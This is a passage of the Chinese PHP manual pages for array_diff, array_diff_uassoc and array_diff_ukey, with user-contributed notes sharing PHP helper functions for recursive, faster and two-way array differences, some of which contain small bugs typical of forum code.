  array ( 'red' => 2, 'purple' => 4 )

  array_diff_key($array2, $array1)

returns

  array ( 'yellow' => 7, 'cyan' => 8, )

  array_unique_diff($array1, $array2);

returns

  array ( 'red' => 2, 'purple' => 4, 'yellow' => 7, 'cyan' => 8, )
sjungwirth at matrix-consultants dot com 28-Feb-2008 12:08
I needed something a little different where maybe even the keys in multidimensional arrays don't match up. Setting $assoc to false will cause only to check for missing keys, otherwise it compares values as well. This was also based on '2ge at 2ge dot us' function

<?php

function n_array_diff_assoc ($a1, $a2, $assoc=true) {
    $r = array();
    if(is_array(current($a1))):
        foreach($a1 as $k => $v):
            if(isset($a2[$k])):
                $diff = n_array_diff($a1[$k], $a2[$k], $assoc);
                if (!empty($diff)):
                    $r[$k] = $diff;
                endif;
            else:
                $r[$k] = $v;
            endif;
        endforeach;
    else:
        $r = $assoc ? array_diff_assoc($a1, $a2) : array_diff_key($a1, $a2);
    endif;
    return $r;
}
?>
coder at gs dot com 16-Feb-2008 02:00
The PHP4 version below works only unidirectionally. If you switch the arrays around i.e. (ar2, ar1) you get different results than (ar1, ar2).
AiFiLTr0 [at host] invyl [dot] ath.cx 29-Nov-2007 05:56
The recursive function suggested by '2ge at 2ge dot us' will provide you with empty arrays if there's no diff.
This variant of the function cleans up empty arrays and fixes a bug in the first suggested version. It works 100%
.
<?php
function array_diff_key_recursive ($a1, $a2) {
        foreach($a1 as $k => $v) {
            //$r[$k] = is_array($v) ? $this->array_diff_key_recursive($a1[$k], $a2[$k]) : array_diff_key($a1, $a2);
        if (is_array($v))
            {
            $r[$k]=$this->array_diff_key_recursive($a1[$k], $a2[$k]);
            }else
            {
            $r=array_diff_key($a1, $a2);
            }

        if (is_array($r[$k]) && count($r[$k])==0)
            {
            unset($r[$k]);
            }
        }
        return $r;
    }
?>
2ge at 2ge dot us 07-Mar-2006 11:28
Hello, if you need diff key of n-dimensional arrays here is nice solution:
<?php
function n_array_diff ($a1, $a2) {
        foreach($a1 as $k => $v) {
            $r[$k] = is_array($v) ? n_array_diff($a1[$k], $a2[$k]) : array_diff_key($a1, $a2);
        }
        return $r;
}
?>
it will print everything, what is missing in $a2.
vlad_mustafin at ukr dot net 13-Jan-2006 07:39
One more alternative variant :)
<?
if (!function_exists('array_diff_key')) {
    function array_diff_key() {
        $argCount   = func_num_args();
        $diff_arg_prefix = 'diffArg';
        $diff_arg_names = array();
        for ($i=0; $i < $argCount; $i++) {
            $diff_arg_names[$i] = 'diffArg'.$i;
            $$diff_arg_names[$i] = array_keys((array)func_get_arg($i));
        }
        $diffArrString = '';
        if (!empty($diff_arg_names)) $diffArrString =  '$'.implode(', $', $diff_arg_names);
        eval("\$result = array_diff(".$diffArrString.");");
        return $result;
    }
}
?>
ampf at egp dot up dot pt 25-Nov-2005 12:55
Well, you could implement in the code something more powerfull:

http://www.php.net/manual/en/function.array-diff.php#31364
maxence at pontapreta dot net 27-May-2005 10:38
Seems to be a great function, especially for n-dimensions arrays. The only problem is that I cannot find it in php 5.0.3 and 5.0.4. Does it really exist ?! :(

[20:27:05][maxence@conurb] ~/test2/php-5.0.4$ grep PHP_FUNCTION * -r | grep -i array_diff_key
[20:27:09][maxence@conurb] ~/test2/php-5.0.4$


用用户提供的回调函数做索引检查来计算数组的差集

  • ? array_diff_key
  • array_diff_ukey ?
  • PHP Manual
  • 数组 函数
  • 用用户提供的回调函数做索引检查来计算数组的差集

array_diff_uassoc

(PHP 5, PHP 7)

array_diff_uassoc — 用用户提供的回调函数做索引检查来计算数组的差集

说明

array_diff_uassoc ( array $array1 , array $array2 [, array $... ], callable $key_compare_func ) : array

对比了 array1 和 array2 并返回不同之处。 注意和 array_diff() 不同的是键名也用于比较。

和 array_diff_assoc() 不同的是使用了用户自定义的回调函数，而不是内置的函数。

参数

array1

待比较的数组

array2

和这个数组进行比较

...

更多比较的数组

key_compare_func

在第一个参数小于，等于或大于第二个参数时，该比较函数必须相应地返回一个小于，等于或大于 0 的整数。

callback ( mixed $a, mixed $b ) : int

返回值

返回一个 array，该数组包括了所有在 array1 中但是不在任何其它参数数组中的值。

范例

Example #1 array_diff_uassoc() 例子

上面的例子中 "a" => "green" 出现在两个数组中因此不在函数的输出中。但是 0 => "red" 却在输出中，因为第二个参数中的 "red" 的键名是 1。

<?php
function key_compare_func($a, $b)
{
    if ($a === $b) {
        return 0;
    }
    return ($a > $b)? 1:-1;
}

$array1 = array("a" => "green", "b" => "brown", "c" => "blue", "red");
$array2 = array("a" => "green", "yellow", "red");
$result = array_diff_uassoc($array1, $array2, "key_compare_func");
print_r($result);
?>

以上例程会输出：

Array
(
    [b] => brown
    [c] => blue
    [0] => red
)

The equality of 2 indices is checked by the user supplied callback function.

注释

Note:

注意本函数只检查了多维数组中的一维。当然可以用 array_diff_uassoc($array1[0], $array2[0], "key_compare_func"); 检查更深的维度。

参见

  • array_diff() - 计算数组的差集
  • array_diff_assoc() - 带索引检查计算数组的差集
  • array_udiff() - 用回调函数比较数据来计算数组的差集
  • array_udiff_assoc() - 带索引检查计算数组的差集，用回调函数比较数据
  • array_udiff_uassoc() - 带索引检查计算数组的差集，用回调函数比较数据和索引
  • array_intersect() - 计算数组的交集
  • array_intersect_assoc() - 带索引检查计算数组的交集
  • array_uintersect() - 计算数组的交集，用回调函数比较数据
  • array_uintersect_assoc() - 带索引检查计算数组的交集，用回调函数比较数据
  • array_uintersect_uassoc() - 带索引检查计算数组的交集，用单独的回调函数比较数据和索引

User Contributed Notes

MD. ABU SAYEM 11-Mar-2014 06:12
//array_diff_uassoc for multidimenssional array
$color_1=array('a'=>'white','b'=>'red','c'=>array('a'=>'green','b'=>'blue','c'=>'yellow'));
$color_2=array('a'=>'white','b'=>'red','c'=>array('a'=>'white','b'=>'red','c'=>'yellow'));

function key_compare($a,$b){
    if($a===$b)        return 0;
    return($a>$b)?1:-1;
}
print_r(array_diff_uassoc($color_1['c'], $color_2['c'],"key_compare"));

//Output
 Array
(
    [a] => green
    [b] => blue
)


用回调函数对键名比较计算数组的差集

  • ? array_diff_uassoc
  • array_diff ?
  • PHP Manual
  • 数组 函数
  • 用回调函数对键名比较计算数组的差集

array_diff_ukey

(PHP 5 >= 5.1.0, PHP 7)

array_diff_ukey — 用回调函数对键名比较计算数组的差集

说明

array_diff_ukey ( array $array1 , array $array2 [, array $... ], callable $key_compare_func ) : array

array_diff_ukey() 返回一个数组，该数组包括了所有出现在 array1 中但是未出现在任何其它参数数组中的键名的值。注意关联关系保留不变。本函数和 array_diff() 相同只除了比较是根据键名而不是值来进行的。

此比较是通过用户提供的回调函数来进行的。如果认为第一个参数小于，等于，或大于第二个参数时必须分别返回一个小于零，等于零，或大于零的整数。

参数

array1

The array to compare from

array2

An array to compare against

...

More arrays to compare against

key_compare_func

在第一个参数小于，等于或大于第二个参数时，该比较函数必须相应地返回一个小于，等于或大于 0 的整数。

callback ( mixed $a, mixed $b ) : int

返回值

Returns an array containing all the entries from array1 that are not present in any of the other arrays.

范例

Example #1 array_diff_ukey() 例子

<?php
function key_compare_func($key1, $key2)
{
    if ($key1 == $key2)
        return 0;
    else if ($key1 > $key2)
        return 1;
    else
        return -1;
}

$array1 = array('blue'  => 1, 'red'  => 2, 'green'  => 3, 'purple' => 4);
$array2 = array('green' => 5, 'blue' => 6, 'yellow' => 7, 'cyan'   => 8);

var_dump(array_diff_ukey($array1, $array2, 'key_compare_func'));
?>

以上例程会输出：

array(2) {
  ["red"]=>
  int(2)
  ["purple"]=>
  int(4)
}

注释

Note:

注意本函数只检查了多维数组中的一维。当然，可以用 array_diff_ukey($array1[0], $array2[0], 'callback_func'); 来检查更深的维度。

参见

  • array_diff() - 计算数组的差集
  • array_udiff() - 用回调函数比较数据来计算数组的差集
  • array_diff_assoc() - 带索引检查计算数组的差集
  • array_diff_uassoc() - 用用户提供的回调函数做索引检查来计算数组的差集
  • array_udiff_assoc() - 带索引检查计算数组的差集，用回调函数比较数据
  • array_udiff_uassoc() - 带索引检查计算数组的差集，用回调函数比较数据和索引
  • array_diff_key() - 使用键名比较计算数组的差集
  • array_intersect() - 计算数组的交集
  • array_intersect_assoc() - 带索引检查计算数组的交集
  • array_intersect_uassoc() - 带索引检查计算数组的交集，用回调函数比较索引
  • array_intersect_key() - 使用键名比较计算数组的交集
  • array_intersect_ukey() - 用回调函数比较键名来计算数组的交集

User Contributed Notes

There are no user contributed notes for this page.


计算数组的差集

  • ? array_diff_ukey
  • array_fill_keys ?
  • PHP Manual
  • 数组 函数
  • 计算数组的差集

array_diff

(PHP 4 >= 4.0.1, PHP 5, PHP 7)

array_diff — 计算数组的差集

说明

array_diff ( array $array1 , array $array2 [, array $... ] ) : array

对比 array1 和其他一个或者多个数组，返回在 array1 中但是不在其他 array 里的值。

参数

array1

要被对比的数组

array2

和这个数组进行比较

...

更多相比较的数组

返回值

返回一个数组，该数组包括了所有在 array1 中但是不在任何其它参数数组中的值。注意键名保留不变。

范例

Example #1 array_diff() 例子

<?php
$array1 = array("a" => "green", "red", "blue", "red");
$array2 = array("b" => "green", "yellow", "red");
$result = array_diff($array1, $array2);

print_r($result);
?>

在 $array1 中多次出现的值一样处理，输出结果为：

Array
(
    [1] => blue
)

注释

Note:

两个单元仅在 (string) $elem1 === (string) $elem2 时被认为是相同的。也就是说，当字符串的表达是一样的时候。

Note:

注意本函数只检查了多维数组中的一维。当然可以用 array_diff($array1[0], $array2[0]); 检查更深的维度。

参见

  • array_diff_assoc() - 带索引检查计算数组的差集
  • array_intersect() - 计算数组的交集
  • array_intersect_assoc() - 带索引检查计算数组的交集

User Contributed Notes

nsrwork(dog)gmail 01-Jun-2018 03:49
If we need to find array in the multidimenssional array (with ignore keys!)

// where we will find
$arrays = [
    ['c','b','a'],  ['e','f','g'],  ['j','h','t']
];

// what we will find
$array = ['a','b','c'];

function isArrayExist($arrays, $array)
{
    return (bool) array_filter($arrays, function ($_array) use ($array) {
        return !array_diff($array, $_array);
    });
}

//Output
true
Prakashgun 11-Dec-2017 12:04
If duplicate value comes in the first array, that will be also included. See in the output "blue" comes twice.

<?php

$array1 = array("a" => "green", "red", "blue", "red", "blue");
$array2 = array("b" => "green", "yellow", "red");
$result = array_diff($array1, $array2);

print_r($result);

//Output
//Array ( [1] => blue [3] => blue )
wes dot melton at gmail dot com 20-Jun-2017 09:11
It's important to note that array_diff() is NOT a fast or memory-efficient function on larger arrays.

In my experience, when I find myself running array_diff() on larger arrays (50+ k/v/pairs) I almost always realize that I'm working the problem from the wrong angle.

Typically, when reworking the problem to not require array_diff(), especially on bigger datasets, I find significant performance improvements and optimizations.
james dot PLZNOSPAM at bush dot cc 16-Mar-2017 01:58
If you want a simple way to show values that are in either array, but not both, you can use this:

<?php
function arrayDiff($A, $B) {
    $intersect = array_intersect($A, $B);
    return array_merge(array_diff($A, $intersect), array_diff($B, $intersect));
}
?>

If you want to account for keys, use array_diff_assoc() instead; and if you want to remove empty values, use array_filter().
james dot PLZNOSPAM at bush dot cc 16-Mar-2017 01:52
If you want a simple way to show values that are in either array, but not both, you can use this:

<?php
function arrayDiff($A, $B) {
    $intersect = array_intersect($A, $B);
    return array_merge(array_diff($A, $intersect), array_diff($B, $intersect);
}
?>

If you want to account for keys, use array_diff_assoc() instead; and if you want to remove empty values, use array_filter().
emeka dot echeruo at gmail dot com 10-May-2016 03:49
Resubmitting... the update for takes into account comparison issues
Computes the difference of all the arrays
<?php

/**
 * array_diffs a�" Computes the difference of all the arrays
 *
 * @param array
 *
 *    array1 - The array to compare from and against
 *    array2 - The array to compare from and against
 *    array(n) - More arrays to compare from and against
 *
 * @return array Returns all the arrays that do contains entries that cannot be matched in any of the arrays.
 */

function array_diffs() {
    $count = func_num_args();
    if($count < 2) {
        trigger_error('Must provide at least 2 arrays for comparison.');
    }
    $check = array();
    $out = array();
     //resolve comparison issue
    $func = function($a, $b) {
        $dbl = function($i, $d) {
            $e = 0.00001;
            if(abs($i-$d) < $e) {
                return true;
            }
            return false;
        };
        if((gettype($a) == 'integer' && gettype($b['value']) == 'double') || (gettype($a) == 'double' && gettype($b['value']) == 'integer')) {
            if((gettype($a) == 'integer' && $dbl((double) $a, $b['value'])) || (gettype($b['value']) == 'integer' && $dbl((double) $b['value'], $a))) {
                return true;
            }
        } elseif((gettype($a) == 'double') && (gettype($b['value']) == 'double')) {
            return $dbl($a,$b['value']);
        } elseif($a == $b['value']) {
            return true;
        }
        return false;
    };
    for($i = 0; $i < $count; $i++) {
        if(!is_array(func_get_arg($i))) {
            trigger_error('Parameters must be passed as arrays.');
        }
        foreach(func_get_arg($i) as $key => $value) {
            if(is_numeric($key) && is_string($value)) {
                if(array_key_exists($value, $check) && $func($value, $check[$value])) {
                    $check[$value]['count'] = $check[$value]['count'] + 1;
                } else {
                    $check[$value]['value'] = $value;
                    $check[$value]['count'] = 1;
                }
            } elseif(is_numeric($key) && (is_bool($value) || is_null($value) || is_numeric($value) || is_object($value) || is_resource($value))) {
                $update = false;
                foreach($check as $check_key => $check_value) {
                    if(is_numeric($key) && (is_bool($check_value['value']) || is_null($check_value['value']) || is_numeric($check_value['value']) || is_object($check_value['value']) || is_resource($check_value['value'])) && $func($value, $check_value)) {
                        $update = true;
                        $check[$check_key]['count'] = $check[$check_key]['count'] + 1;
                    }
                }
                if(!$update) {
                    $check[] = array('value' => $value, 'count' => 1);
                }
            } else {
                if(array_key_exists($key, $check) && $func($value, $check[$key])) {
                    $check[$key]['count'] = $check[$key]['count'] + 1;
                } else {
                    $check[$key]['value'] = $value;
                    $check[$key]['count'] = 1;
                }
            }
        }
    }
    foreach($check as $check_key => $check_value) {
        if($check_value['count'] == 1) {
           for ($i = 0; $i < $count; $i++) {
                foreach(func_get_arg($i) as $key => $value) {
                    if(is_numeric($key) && is_string($value) && ($value == (string) $check_key)) {
                        $out[$i][$key] = $value;
                    } elseif(is_numeric($key) && ($check_value['value'] == $value)) {
                        $out[$i][$key] = $value;
                    } elseif(is_string($key) && ($check_value['value'] == $value)) {
                        $out[$i][$key] = $value;
                    }
                }
            }
        }
    }
    return $out;
}

?>
emeka at echeruo at gmail dot com 30-Apr-2016 11:10
Resubmitting... the update for takes into account comparison issues

Computes the difference of all the arrays

<?php

/**
 * array_diffs — Computes the difference of all the arrays
 *
 * @param array
 *
 *    array1 - The array to compare from and against
 *    array2 - The array to compare from and against
 *    array(n) - More arrays to compare from and against
 *
 * @return array Returns all the arrays that do contains entries that cannot be matched in any of the arrays.
 */

function array_diffs() {
    $count = func_num_args();
    if($count < 2) {
        trigger_error('Must provide at least 2 arrays for comparison.');
    }
    $check = array();
    $out = array();
     //resolve comparison issues in PHP
    $func = function($a, $b) {
        if(gettype($a) == 'integer' && gettype($b['value']) == 'double' || gettype($a) == 'double' && gettype($b['value']) == 'integer') {
            if(gettype($a) == 'integer') {
                if((double) $a == $b['value']) {
                    return true;
                }
            } else {
                if((double) $b['value'] == $a) {
                    return true;
                }
            }
        } elseif(gettype($a) == 'double' && gettype($b['value']) == 'double') {
            $epsilon = 0.00001;
            if(abs($a - $b['value']) < $epsilon) {
                return true;
            }
        } else {
            if($a == $b['value']) {
                return true;
            }
        }
        return false;
    };
    for ($i = 0; $i < $count; $i++) {
        if(!is_array(func_get_arg($i))) {
            trigger_error('Parameters must be passed as arrays.');
        }
        foreach(func_get_arg($i) as $key => $value) {
            if(is_numeric($key) && is_string($value)) {
                if(array_key_exists($value, $check) && $func($value, $check[$value])) {
                    $check[$value]['count'] = $check[$value]['count'] + 1;
                } else {
                    $check[$value]['value'] = $value;
                    $check[$value]['count'] = 1;
                }
            } elseif(is_numeric($key) && (is_bool($value) || is_null($value) || is_numeric($value) || is_object($value) || is_resource($value))) {
                $update = false;
                foreach($check as $check_key => $check_value) {
                    if(is_numeric($key) && (is_bool($check_value['value']) || is_null($check_value['value']) || is_numeric($check_value['value']) || is_object($check_value['value']) || is_resource($check_value['value']))) {
                        if($func($value, $check_value)) {
                            $update = true;
                            $check[$check_key]['count'] = $check[$check_key]['count'] + 1;
                        }
                    }
                }
                if(!$update) {
                    $check[] = array('value' => $value, 'count' => 1);
                }
            } else {
                if(array_key_exists($key, $check) && $func($value, $check[$key])) {
                    $check[$key]['count'] = $check[$key]['count'] + 1;
                } else {
                    $check[$key]['value'] = $value;
                    $check[$key]['count'] = 1;
                }
            }
        }
    }
    foreach($check as $check_key => $check_value) {
        if($check_value['count'] == 1) {
            for ($i = 0; $i < $count; $i++) {
                foreach(func_get_arg($i) as $key => $value) {
                    if(is_numeric($key) && is_string($value)) {
                        if($value == (string) $check_key) {
                            $out[$i][$key] = $value;
                        }
                    } elseif(is_numeric($key) && (is_bool($value) || is_null($value) || is_numeric($value) || is_object($value) || is_resource($value))) {
                        if(is_numeric($key) && (is_bool($check_value['value']) || is_null($check_value['value']) || is_numeric($check_value['value']) || is_object($check_value['value']) || is_resource($check_value['value']))) {
                            if($check_value['value'] == $value) {
                                $out[$i][$key] = $value;
                            }
                        }
                    } else {
                        if($key == $check_key) {
                            $out[$i][$key] = $value;
                        }
                    }
                }
            }
        }
    }
    return $out;
}

?>
true === $gmail[&#39;a3diti&#39;] 01-Mar-2016 09:59
This function comes in handy if we want to compare two array values only

For example we want to make a quick check on some required $_POST parameters:

function required_array($required_array_values, $dynamic_array_values){
  return (count(array_diff(
            $required_array_values,
            $dynamic_array_values
          )) > 0) ? false : true;
}

// we expect $_POST['change_password'][new, old, repeat]
$required_params = required_array(
        array('old','new','repeat'),
        array_keys($_POST['change_password'])
      );

if( !$requred_params  ){
  die('error: all parameters are required!');
}else{
  echo 'good to go';
}
az_zankapfel_org 29-Feb-2016 01:20
For case-insensitive array_diff use:

$result = array_udiff($array1, $array2, 'strcasecmp');

(Found on stackoverflow)
Anonymous 05-May-2015 06:50
I always wanted something like this to avoid listing all the files and folders you want to exclude in a project directory.

function array_preg_diff($a, $p) {
    foreach ($a as $i => $v)
        if (preg_match($p, $v))
            unset($a[$i]);
    return $a;
}

$relevantFiles = array_preg_diff(scandir('somedir'), '/^\./');

instead of

$relevantFiles = array_diff(scandir('somedir'), array('.', '..', '.idea', '.project));
Anonymous 28-Jan-2015 04:00
If you're not getting a count(array_diff($a1,$a2))>0 with something similar to the following arrays should use the php.net/array_diff_assoc function instead.

$a1 = Array
(
    [0] => id
    [1] => id_1
    [2] => id_2
)

$a2 = Array
(
    [0] => id
    [1] => id_2
    [2] => id_1
)
wrey75 at gmail dot com 03-Dec-2014 10:27
The difference is made only on the first level. If you want compare 2 arrays, you can use the code available at https://gist.github.com/wrey75/c631f6fe9c975354aec7 (including a class with an function to patch the array)

Here the basic function:

function my_array_diff($arr1, $arr2) {
        $diff = array();

        // Check the similarities
        foreach( $arr1 as $k1=>$v1 ){
            if( isset( $arr2[$k1]) ){
                $v2 = $arr2[$k1];
                if( is_array($v1) && is_array($v2) ){
                    // 2 arrays: just go further...
                    // .. and explain it's an update!
                    $changes = self::diff($v1, $v2);
                    if( count($changes) > 0 ){
                        // If we have no change, simply ignore
                        $diff[$k1] = array('upd' => $changes);
                    }
                    unset($arr2[$k1]); // don't forget
                }
                else if( $v2 === $v1 ){
                    // unset the value on the second array
                    // for the "surplus"
                    unset( $arr2[$k1] );
                }
                else {
                    // Don't mind if arrays or not.
                    $diff[$k1] = array( 'old' => $v1, 'new'=>$v2 );
                    unset( $arr2[$k1] );
                }
            }
            else {
                // remove information
                $diff[$k1] = array( 'old' => $v1 );
            }
        }

        // Now, check for new stuff in $arr2
        reset( $arr2 ); // Don't argue it's unnecessary (even I believe you)
        foreach( $arr2 as $k=>$v ){
            // OK, it is quite stupid my friend
            $diff[$k] = array( 'new' => $v );
        }
        return $diff;
    }
vickyssj7 at gmail dot com 19-Oct-2014 09:12
This is quite a simple example to compute the difference between array values without any recursive function:--
<?php

    function array_idiff($a,$b) {

        $store = array();
        foreach($a as $key => $values) {
            if(!isset($b[$key]) || $b[$key] !== $values){

                $store[] = strtolower($values);

            }
        }
        return $store;
    }
    $arr1 = array('this','that','those','they','them');
    $arr2 = array('this','that','them');
    echo "<pre>";
    print_r(array_idiff($arr1,$arr2));
MD dot ABU SAYEM=>sayem at asterisbd dot com 11-Mar-2014 02:21
//array_diff function compare first array against all of the array and return the elements with index that are not present in either of the array.
<?php
$array1 = array("a" => "green", "red", "c"=>"blue", "red","cyan",2,3,"white");
$array2 = array("b" => "green", "yellow", "red");
$array3 = array("b" => "green", "yellow", "white",4);
$array4 = array("b" => "green", "yellow", "blue",2);
$result = array_diff($array1, $array2,$array3,$array4);
echo "<pre>";
print_r($result);
?>
//outputs
Array
(
    [3] => cyan
    [5] => 3
)
Jeppe Utzon 08-Nov-2012 02:28
If you just need to know if two arrays' values are exactly the same (regardless of keys and order), then instead of using array_diff, this is a simple method:

<?php

function identical_values( $arrayA , $arrayB ) {

    sort( $arrayA );
    sort( $arrayB );

    return $arrayA == $arrayB;
}

// Examples:

$array1 = array( "red" , "green" , "blue" );
$array2 = array( "green" , "red" , "blue" );
$array3 = array( "red" , "green" , "blue" , "yellow" );
$array4 = array( "red" , "yellow" , "blue" );
$array5 = array( "x" => "red" , "y" =>  "green" , "z" => "blue" );

identical_values( $array1 , $array2 );  // true
identical_values( $array1 , $array3 );  // false
identical_values( $array1 , $array4 );  // false
identical_values( $array1 , $array5 );  // true

?>

The function returns true only if the two arrays contain the same number of values and each value in one array has an exact duplicate in the other array. Everything else will return false.

my alternative method for evaluating if two arrays contain (all) identical values:

<?php

sort($a); $sort(b); return $a == $b;

?>

may be slightly faster (10-20%) than this array_diff method:

<?php

return ( count( $a ) == count( $b ) && !array_diff( $a , $b ) ? true : false );

?>

but only when the two arrays contain the same number of values and then only in some cases. Otherwise the latter method will be radically faster due to the use of a count() test before the array_diff().

Also, if the two arrays contain a different number of values, then which method is faster will depend on whether both arrays need to be sorted or not. Two times sort() is a bit slower than one time array_diff(), but if one of the arrays have already been sorted, then you only have to sort the other array and this will be almost twice as fast as array_diff().

Basically: 2 x sort() is slower than 1 x array_diff() is slower than 1 x sort().
michiel thalen 07-Apr-2012 02:22
The fact that it will use the string representation causes alot of problems with php 5.4.

When you will have an array inside your elements, it will throw a notice error.
It will throw huge amounts of notices depending on how many items you have.

The same problem you will notice when checking with objects inside your array. It will cause catchable fatal errors.
This is also the case in php 5.3

I'm going to send a bug report, because I think php should handle this.
ballestermendez at gmail dot com 16-Mar-2012 11:40
If the element number returned is 0, this function NOT return a valid array, return NULL.
merlyn dot tgz at gmail dot com 15-Mar-2012 10:08
There is more fast implementation of array_diff, but with some limitations. If you need compare two arrays of integers or strings you can use such function:

    public static function arrayDiffEmulation($arrayFrom, $arrayAgainst)
    {
        $arrayAgainst = array_flip($arrayAgainst);

        foreach ($arrayFrom as $key => $value) {
            if(isset($arrayAgainst[$value])) {
                unset($arrayFrom[$key]);
            }
        }

        return $arrayFrom;
    }

It is ~10x faster than array_diff

php > $t = microtime(true);$a = range(0,25000); $b = range(15000,500000); $c = array_diff($a, $b);echo microtime(true) - $t;
4.4335179328918
php > $t = microtime(true);$a = range(0,25000); $b = range(15000,500000); $c = arrayDiffEmulation($a, $b);echo microtime(true) - $t;
0.37219095230103
wladimir camargo 25-Jul-2011 10:23
This is my simple function do compare two arrays. It adds the deleted values from the original array.

<?php
function array_diff_($old_array,$new_array) {
        foreach($new_array as $i=>$l){
                if($old_array[$i] != $l){
                        $r[$i]=$l;
                }
        }

        //adding deleted values
        foreach($old_array as $i=>$l){
                if(!$new_array[$i]){
                        $r[$i]="";
                }
        }
        return $r;
}
?>
eugeny dot yakimovitch at gmail dot com 30-Dec-2010 03:17
Note that array_diff is not equivalent to

<?php
function fullArrayDiff($left, $right)
{
    return array_diff(array_merge($left, $right), array_intersect($left, $right));
}
?>

since it is a set-theoretical complement as in

http://en.wikipedia.org/wiki/Complement_(set_theory)
javierchinapequeno at yahoo dot es 21-Dec-2010 11:21
Hi, I′d like to give a piece of advice to all who need to use this function to compare two arrays that have a great quantity of elements. You should sort both arrays first before comparing, it will work faster.
Thanks
thefrox at gmail dot com 30-Jun-2010 05:28
Multidimensional array_diff

<?php
echo '<pre>';
$bdd['80395']= array('80396','80397','80398','777');
$folder['80395']= array('80396','80397','666','80398','154223');
$folder['80397']= array('34','35','36','45','57');

echo '<hr>';

function multidimensional_array_diff($a1,$a2)
{
  $r = array();

 foreach ($a2 as $key => $second)
 {
      foreach ($a1 as $key => $first)
      {

            if (isset($a2[$key]))
            {
                foreach ($first as $first_value)
                {
                    foreach ($second as $second_value)
                    {
                        if ($first_value == $second_value)
                        {
                            $true = true;
                            break;
                        }
                    }
                    if (!isset($true))
                    {

                        $r[$key][] = $first_value;
                    }
                    unset($true);
                }
            }
            else
            {
                $r[$key] = $first;
            }
      }
 }
  return $r;
}
print_r(single_diff_assoc($folder,$bdd));
?>

RESULT :

Array
(
    [80395] => Array
        (
            [0] => 666
            [1] => 154223
        )

    [80397] => Array
        (
            [0] => 34
            [1] => 35
            [2] => 36
            [3] => 45
            [4] => 57
        )

)
pikiou at somethinggooglerelated dot com 13-Nov-2009 04:24
With previous solutions handling multi-dimensional arrays or objects through serialization, if compared variables contain references at some point, these will be serialized and stand as such after the diff function.
Here is a safer solution :
<?php
function array_diff_no_cast(&$ar1, &$ar2) {
   $diff = Array();
   foreach ($ar1 as $key => $val1) {
      if (array_search($val1, $ar2) === false) {
         $diff[$key] = $val1;
      }
   }
   return $diff;
}
?>

Example:
<?php
$referenced = Array(1,1);
$array1 = Array(&$referenced, Array(2,3));
$array2 = Array(Array(1,1), Array(4,5));
$result = array_diff_no_cast($array1, $array2);

print_r($result);   //Outputs Array(1 => Array(2,3))
//And $referenced stands unchanged (not serialized)
?>
vojtech dot hordejcuk at gmail dot com 03-Nov-2009 07:15
Based on one lad's code, I created following function for creating something like HTML diff. I hope it will be useful.

<?php
private function diff ($old, $new)
{
  $old = preg_replace ('/ +/', ' ', $old);
  $new = preg_replace ('/ +/', ' ', $new);

  $lo = explode ("\n", trim ($old) . "\n");
  $ln = explode ("\n", trim ($new) . "\n");
  $size = max (count ($lo), count ($ln));

  $equ = array_intersect ($lo, $ln);
  $ins = array_diff ($ln, $lo);
  $del = array_diff ($lo, $ln);

  $out = '';

  for ($i = 0; $i < $size; $i++)
  {
    if (isset ($del [$i]))
    {
      $out .= '<p><del>' . $del [$i] . '</del></p>';
    }

    if (isset ($equ [$i]))
    {
      $out .= '<p>' . $equ [$i] . '</p>';
    }

    if (isset ($ins [$i]))
    {
      $out .= '<p><ins>' . $ins [$i] . '</ins></p>';
    }
  }

  return $out;
}
?>
Anonymous 15-Oct-2009 11:55
Hi!
I tried hard to find a solution to a problem I'm going to explain here, and after have read all the array functions and possibilities, I had to create what I think should exist on next PHP releases.

What I needed, it's some kind of Difference, but working with two arrays and modifying them at time, not returning an array as a result with the diference itself.

So, as an example:

A = 1,2,3
B = 2,3,4

should NOT be:

C = 1,4

but:

A = 1
B = 4

so basically, I wanted to delete coincidences on both arrays.

Now, I've some actions to do, and I know wich one I've to do with the values from one array or another.
With the normal DIFF I can't, because if I've an array like C=1,4, I dont know if I've to do the Action_A with 1 or with 4, but I really know that everything in A, will go to the Action_A and everithing in B, will go to Action_B. So same happens with 4, don't know wich action to apply...

So I created this:

<?php
function array_diff_ORG_NEW(&$org, &$new, $type='VALUES'){
    switch($type){
        case 'VALUES':
            $int = array_values(array_intersect($org, $new)); //C = A ^ B
            $org = array_values(array_diff($org, $int)); //A' = A - C
            $new= array_values(array_diff($new, $int)); //B' = B - C
            break;
        case 'KEYS':
            $int = array_values(array_intersect_key($org, $new)); //C = A ^ B
            $org = array_values(array_diff_key($org, $int)); //A' = A - C
            $new= array_values(array_diff_key($new, $int)); //B' = B - C
            break;
    }
}
?>

This cute, works by reference, and modifies the arrays deleting coincidences on both, and leaving intact the non coincidences.

So a call to this will be somethin' like:

<?php
$original = array(1,2,3);
$new = array(2,3,4);

array_diff_ORG_NEW($original, $new, 'VALUES');
?>

And HERE, I'll have my arrays as I wanted:

$original = 1
$new = 4

Now, why I use it precisely?

Imagine you've some "Events" and some users you select when create the event, can "see" this event you create. So you "share" the event with some users. Ok?

Imagine you created and Event_A, and shared with users 1,2,3.

Now you want to modify the event, and you decide to modify the users to share it. Imagine you change it to users 2,3,4.

(numbers are users ID).

So you can manage when you are going to modify, to have an array with the IDs in DDBB ($original), and then, have another array with ID's corresponding to the users to share after modifying ($new). Wich ones you've to DELETE from DDBB, and wich ones do you've to INSERT?

If you do a simple difference or somehow, you get somethin' like C=1,4.
You have no clue on wich one you've to insert or delete.

But on this way, you can know it, and that's why:

- What keeps on $original, it's somethin not existing in $new at the beggining. So you know that all what you've inside $original, have to be deleted from DDBB because what you did in the modifying process, it's to unselect those users keeping in $original.
- What keeps on $new, it's something not existing in $original at the beggining. Wich means that in the modifying process you added some new users. And those have to be inserted in DDBB. So, everything keeping inside $new, have to be inserted in the DDBB.

Conclusion:

- Remaining in $original --> delete from DB.
- Remaining in $new --> insert into DB.

And that's all!

I hope you find it useful, and I encourage PHP "makers", to add in a not distant future, somethin' like this one natively, because I'm shure that I'm not the first one needing something like this.

Best regards all,

Light.
firegun at terra dot com dot br 24-Jun-2009 10:52
Hello guys,

I′ve been looking for a array_diff that works with recursive arrays, I′ve tried the ottodenn at gmail dot com function but to my case it doesn′t worked as expected, so I made my own. I′ve haven′t tested this extensively, but I′ll explain my scenario, and this works great at that case :D

We got 2 arrays like these:

<?php
$aArray1['marcie'] = array('banana' => 1, 'orange' => 1, 'pasta' => 1);
$aArray1['kenji'] = array('apple' => 1, 'pie' => 1, 'pasta' => 1);

$aArray2['marcie'] = array('banana' => 1, 'orange' => 1);
?>

As array_diff, this function returns all the items that is in aArray1 and IS NOT at aArray2, so the result we should expect is:

<?php
